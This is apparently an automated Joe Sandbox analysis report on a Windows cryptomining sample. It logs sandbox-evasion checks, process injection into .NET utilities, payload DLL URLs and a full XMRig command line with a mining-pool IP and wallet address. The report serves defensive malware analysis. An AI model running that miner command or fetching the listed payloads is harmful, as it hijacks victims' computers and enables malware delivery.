Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59374	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59888	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59443	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59202	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197899	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59880	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59757	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59645	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59523	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59398	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59289	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59179	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 59233	Jump to behavior

Source: AddInProcess.exe, 00000005.00000002.4145824262.000001E5C1C48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: AddInProcess.exe, 00000005.00000002.4145824262.000001E5C1C48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: 2ngxhElaud.exe, 00000000.00000002.1815877082.000001431B669000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.4255813727.000002465CB40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\2ngxhElaud.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\2ngxhElaud.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140000000 value starts with: 4D5A			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Thread register set: target process: 2144			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread register set: target process: 4828			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50			Jump to behavior

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Queries volume information: C:\Users\user\Desktop\2ngxhElaud.exe VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe VolumeInformation			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

Code function: 5_2_0000000140348448 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_0000000140348448

Source: C:\Users\user\Desktop\2ngxhElaud.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 Scheduled Task/Job	311 Process Injection	1 Modify Registry	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	321 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 DLL Side-Loading	241 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	241 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	124 System Information Discovery	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2ngxhElaud.exe	11%	ReversingLabs
2ngxhElaud.exe	24%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
sck-dns.ws	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://sck-dns.ws/plugin3.dll	4%	Virustotal		Browse
https://github.com/mgravell/protobuf-neti	0%	Virustotal		Browse
https://github.com/mgravell/protobuf-net	0%	Virustotal		Browse
https://xmrig.com/docs/algorithms	2%	Virustotal		Browse
https://github.com/mgravell/protobuf-netJ	0%	Virustotal		Browse
https://xmrig.com/wizard%s	2%	Virustotal		Browse
https://files.catbox.moe/k541xr.dllJ	1%	Virustotal		Browse
https://xmrig.com/benchmark/%s	2%	Virustotal		Browse
https://files.catbox.moe/k541xr.dll	10%	Virustotal		Browse
http://31.13.224.51/Gxqui.pdf	2%	Virustotal		Browse
https://files.catbox.moe/kwfxr7.dll	9%	Virustotal		Browse
http://31.13.224.51	1%	Virustotal		Browse
https://xmrig.com/wizard	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sck-dns.ws	172.67.173.168	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://31.13.224.51/Gxqui.pdf	true	2%, Virustotal, Browse	unknown
https://sck-dns.ws/plugin3.dll	true	4%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-neti	2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://stackoverflow.com/q/14436606/23354	2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp, 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.4145704834.0000024644431000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://stackoverflow.com/q/11564914/23354;	2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	true	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	true	URL Reputation: safe	unknown
https://xmrig.com/wizard%s	AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	true	2%, Virustotal, Browse	unknown
https://sck-dns.ws/plugin3.dllp	InstallUtil.exe, 00000001.00000002.4145704834.0000024644563000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://xmrig.com/docs/algorithms	AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	true	2%, Virustotal, Browse	unknown
https://github.com/mgravell/protobuf-net	2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://files.catbox.moe/k541xr.dllJ	InstallUtil.exe, 00000001.00000002.4255813727.000002465CB40000.00000004.00000020.00020000.00000000.sdmp	true	1%, Virustotal, Browse	unknown
https://xmrig.com/benchmark/%s	AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	true	2%, Virustotal, Browse	unknown
https://files.catbox.moe/k541xr.dll	InstallUtil.exe, 00000001.00000002.4145704834.0000024644563000.00000004.00000800.00020000.00000000.sdmp	true	10%, Virustotal, Browse	unknown
https://xmrig.com/wizard	AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	true	2%, Virustotal, Browse	unknown
http://31.13.224.51	2ngxhElaud.exe, 00000000.00000002.1816376594.000001431CFE1000.00000004.00000800.00020000.00000000.sdmp	true	1%, Virustotal, Browse	unknown
https://files.catbox.moe/kwfxr7.dll	InstallUtil.exe, 00000001.00000002.4255813727.000002465CB40000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.4145704834.0000024644563000.00000004.00000800.00020000.00000000.sdmp	true	9%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2ngxhElaud.exe, 00000000.00000002.1816376594.000001431CFE1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.4145704834.0000024644431000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
51.222.111.116	unknown	France	16276	OVHFR	true
31.13.224.51	unknown	Bulgaria	48584	SARNICA-ASBG	false
172.67.173.168	sck-dns.ws	United States	13335	CLOUDFLARENETUS	false
213.152.162.15	unknown	Netherlands	49453	GLOBALLAYERNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528574
Start date and time:	2024-10-08 02:38:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	2ngxhElaud.exe renamed because original name is a hash value
Original Sample Name:	b353eef73cf06a89bf3d199050783f77.exe
Detection:	MAL
Classification:	mal100.evad.mine.winEXE@5/0@1/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 2ngxhElaud.exe, PID 6716 because it is empty
Execution Graph export aborted for target AddInProcess.exe, PID 4828 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:39:14	API Interceptor	90186x Sleep call for process: InstallUtil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51.222.111.116	file.exe	Get hash	malicious	Xmrig	Browse
31.13.224.51	file.exe	Get hash	malicious	Xmrig	Browse	31.13.224.51/Vtlvm.pdf
